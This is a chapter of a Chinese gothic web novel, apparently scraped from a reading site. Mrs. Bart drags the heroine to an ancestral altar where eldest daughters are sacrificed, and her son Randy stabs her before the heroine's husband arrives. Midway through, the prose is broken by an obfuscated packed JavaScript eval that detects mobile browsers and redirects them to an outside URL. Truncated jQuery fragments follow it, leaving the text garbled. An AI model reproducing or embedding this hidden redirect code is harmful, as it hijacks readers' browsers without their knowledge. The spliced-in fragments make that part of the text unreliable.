35. 终结之前

作品:《别向他提问

    巴特夫人温柔地低语像毒蛇信子舔舐着她的耳廓,那只扯住她头发的手愈发使劲。


    “为......为什么?”


    纪觅依从齿缝间挤出不成句的质问,右手徒劳地抓挠着巴特夫人的手臂,借着这个动作晃动着手链,铃铛声零碎而微弱地响起、


    巴特夫人歪了歪头,脸上依旧挂着那种令人毛骨悚然的慈爱笑容。


    她放过了纪觅依的头发,转而捏住她的下巴,仔细打量。


    “孩子,我也不想的。”


    “母亲......”


    纪觅依装作哀求,在身体恢复知觉后,更加用力地晃动起手链,她清楚地听到了铃铛的声音,可这响声却没有引起巴特夫人和兰迪的注意,就好像,他们完全听不见。


    “傻孩子,别怪我。”巴特夫人叹息道,声音轻柔,“谁让你生下来就是个女孩,你的血液,你的灵魂,都是属于祂的。”


    她轻轻抚开纪觅依被浸湿的额发,另一只手摸上心口,嘴里默念着:


    “愿祂保佑你,我的孩子,我这是在救你,我这是在帮你,我这是在......”


    “我这是在爱你,孩子,我亲爱的伊拉。”


    “你放屁!”纪觅依一挥手,将巴特夫人推翻,朝被丢在地上的匕首爬去,而那把匕首,就在兰迪脚下。


    兰迪对上了纪觅依的眼神,他刚想捡起匕首递给她,就被巴特夫人阴狠的目光锁定。


    她踩在纪觅依的脚腕上,使劲一碾,逼得她发出痛呼。


    巴特夫人走到兰迪身边,声音冷如寒冰:


    “兰迪,这是我给你最后的警告。”


    “母亲——”兰迪怯生生地开口,“不是,不是说姐姐只用嫁给亨利吗?你,她这个样子,送过去......”


    “我亲爱的兰迪。”巴特夫人蹲下,顺着他同自己相似的栗色头发,下一秒又恶狠狠扯住他的耳朵,“我的疼爱怎会养出这样一个白痴,你乖乖听话,别做多余的事情。”


    “今天,我就要告诉你,我们家族的秘密。”


    “维森......”纪觅依躺在地上,用尽全身的力气摇动着手腕,喊出那个在此时成为唯一希望的名字,“维森......救救我......”


    “我的孩子,你是在喊你那傲慢的丈夫吗?”巴特夫人笑得前仰后倒,像是听到了什么天大的笑话,“你觉得他能活着回来吗?”


    “你父亲忍他很久了,这次得到了亨利伯爵的助力,解决他就是分秒之间的小事。”


    巴特夫人慢步来到她身边,用脚尖检查了一下她的脚腕,发现并未红肿后,就将她一把拉起,架着她往暗道走去。


    她毫不在意纪觅依是否有力气行走,只顾着前进,在将要走下阶梯时,巴特夫人扭头看着满脸狼狈、呆傻站在入口的兰迪,厉声道:


    “愣什么?跟上。”


    兰迪闷声走入暗道,巴特夫人继续拖着纪觅依向前。


    她完全没注意到,兰迪背在身后的手中,紧紧握着那把发出幽绿光芒的匕首。


    而纪觅依被这样强行拖拽,已分不清疼痛是从何处传来的,巴特夫人的话语在她的脑海中循环,一遍又一遍击碎她最后的防线——


    维森,真的死了吗?


    在这个念头冒出的那一刹,垂落在她手腕的宝石变得炙热,开始有节奏地闪动起来。


    处于绝境中的无助和□□实打实的痛苦轮番袭来,她时不时感到眩晕。


    纪觅依不知道这是不是幻觉,可当她低头凝望手链时,维森的声音就会在耳边回荡:


    “别相信她,撑下去,伊拉。撑下去,我立马就来。”


    “......好。”


    纪觅依回答了那声微弱的幻听,而巴特夫人听到之后,只认为她在神志不清的呓语,轻笑一声,不做任何回答。


    她们走向暗道深处,墙壁两侧悬挂的油画越来越密集,催促着来人的步伐。


    纪觅依聚焦着眼神,努力辨认着其中的内容:


    墙壁上的油画并非随意排列,它们像一部血腥的编年史,不容任何抵触的展示在纪觅依面前。


    第一幅,一位身着古旧裙装的少女跪在祭坛前,面容模糊,而她身后,是一个蜷缩在角落里的小男孩。


    第二幅,是相似的场景,这次画面中多了一个高大的男人,他双手分别搂着这两个孩子。


    女孩褪去了青涩的模样,她眼神空洞,向脚下的祭坛呆呆望去,而男孩脸上满是懵懂的恐惧。


    第三幅,第四幅,第五幅......纪觅依的目光飞速掠过。


    直到看到女孩四肢被割开,血液沿着祭坛的纹路溢开,男孩从幼童逐渐成长为少年、青年......长出了那熟悉的山羊胡。


    他的眼神也逐渐麻木,成了这场沿袭至今的虐杀的——共犯。


    这一切不是偶然,世世代代皆是如此。


    长女献祭,幼子继业。


    巴特家族血脉传承的不是荣耀,而是一个残忍的诅咒:每一代的“伊拉”从出生起,命运就被钉死在这条通向祭坛的暗道上;每一代的“兰迪”,则在麻木中,踏着姐姐的尸骨,走向掌权人的位置。


    而这一切的一切,最终的目的,就是暗道的尽头——


    那对在祭坛之上舒展的天使羽翼。


    “看明白了吗?我亲爱的伊拉。”


    巴特夫人的声音从前方传来,带着一种近乎虔诚的狂热,她放开纪觅依,扑到羽翼之下跪拜。


    “圣洁的主,原谅我的慈悲,希望您能给伊拉一次得知真相的机会。”


    她起身摸上羽翼,继续说道:“伊拉,巴特家族会感谢你的,家族的荣光将因为你的奉献更添光彩!”


    “我的奉献会换来什么?”


    纪觅依在巴特夫人松开自己之后,靠在墙壁上,匀了几口气,以极慢的语速接着问道:


    “既然,我必须为了家族牺牲,母亲,请你告诉我,这——会换来什么?”


    她倚在墙壁上,手捂着仍在发热的宝石,默念着“维森”的名字。


    “孩子,家族这世世代代的奉献,都是为了召唤那位大人。”


    “当圣洁的天使降临,我们家族将会获得祖辈从未奢想过的荣光。”她看向纪觅依,眼神里全是惋惜,“如果,你能一直听话就好了,按照计划,仪式在亨利伯爵的见证下,会更加完整的。”


    天使,好笑?


    伊拉的灵魂此刻与纪觅依共鸣,血腥味溢上喉头,发出灵魂深处的质问:


    “这样的献祭持续到如今,你们见到过天使吗?”


    “这种血腥的献祭,又怎么可能召唤来你们口中‘圣洁’的天使!”


    巴特夫人的脸色一沉,却没有反驳,只是走到纪觅依身边,拖拽着她走向羽翼之下。


    纪觅依一个踉跄,差点摔倒在地上,又立马被拉起,随后被一把扔在祭坛上。


    她痛极了,可此时却顾不上这些。


    纪觅依强撑着自己坐起,目光直直对上逐渐失去理智的巴特夫人。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17062000|191562||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “为什么不反驳?”


    她接下来的每一句都直击巴特夫人那可笑的信仰。


    “其实你也不知道,这种仪式到何时才能结束吧!”


    纪觅依嘴角勾起,眼里没有任何畏惧。


    “可笑,你们信奉了这么久,得到了什么?


    “你们可笑,你们的信仰更是可笑。”


    “这个家族就是一个邪教!你就是个异教徒!”


    巴特夫人被完全激怒,将她推倒在地上,双手捂住她的嘴,怒吼道:


    “闭嘴!闭嘴!”


    纪觅依躲闪着,嘴里的话没有一刻停止过:


    “你连兰迪的死活都不在乎,还装什么?”


    “你又冷血又愚蠢!”


    “闭嘴!啊啊啊!闭嘴——”


    纪觅依被死死压住,动弹不得,那双手完全锁在她脸上,断绝了她一切呼吸的机会。


    她能感受到,自己的四肢愈发麻木,可头脑依旧清醒。


    这里是无数个“伊拉”的葬身之地,到了她这一次,该画上句号了。


    纪觅依的眼神猛然射向巴特夫人身后、悄无声息缓缓靠近的兰迪。


    赌对了!


    巴特夫妇这辈子也不会想到,这一代的“兰迪”,可不想按剧本走。


    她赌的就是,这一家人都如自己所想一般,足够冷血。


    纪觅依刚才那些话语,就是在激怒这二人,她要让巴特夫人失控,要让兰迪心中只剩恨意。


    他扬起手臂,满是血丝的双眼中闪过一丝挣扎,一丝被长久欺瞒的愤怒,最终,被一种冰冷的决心所吞噬。


    他双手紧握刀柄,紧咬牙关,不带有一丝犹豫地刺向曾经最疼爱他的母亲。


    剧痛从巴特夫人的后背传来,她瞳孔震动,向一旁歪倒,眼中全是对这一切的不可置信。


    “兰,兰迪。”这刀扎的极深,瞬间夺走了她的生机,“凭什么,为什么,我是爱你的,我一直呵护着你啊——”


    “为什么?兰迪!”


    她吼出这一句,就像当初兰迪曾喊出的那声“母亲”般。


    “我......”兰迪本来还呆滞在刚刚弑母的这一幕中,随后收起所有表情,冰冷地看向渐渐失去血色的巴特夫人,“可你不在意我的死活,家族是我的,姐姐也是我的。”


    “母亲。”


    他蹲下,亲眼见证着巴特夫人失去生命体征。


    “我会好好打理家族的。”


    巴特夫人的血液流淌在祭坛的纹路中,她可能这辈子都没有想象过,躺在这里的会是自己。


    也未曾想象过,结束自己生命的,是兰迪。


    兰迪站起身,盯着纪觅依。


    而纪觅依再次坐直身体,急促呼吸着,左手抚上脖颈,右手摇晃着手链。


    “维森!”


    “砰——”


    暗道的门在一声巨响中被炸开,一道黑影闪过,兰迪被掐住抵在墙上,任凭他双手如何挥舞,来者都未曾松下力度。


    纪觅依的呼吸一滞。


    那熟悉的黑色一角,扼在兰迪脖上的皮质手套,和那双黑色碎发下的墨绿色眼眸。


    是阿斯莫德!


    她在认出他那一刻,泪水瞬间夺眶,所有的委屈实质化。


    “甜心。”


    维森急促的脚步声在阿斯莫德闪进后传来,他跪坐在纪觅依面前,毫无之前贵族的做派,将她揉进怀里,声音颤抖着:


    “我就不该将你留在这的。”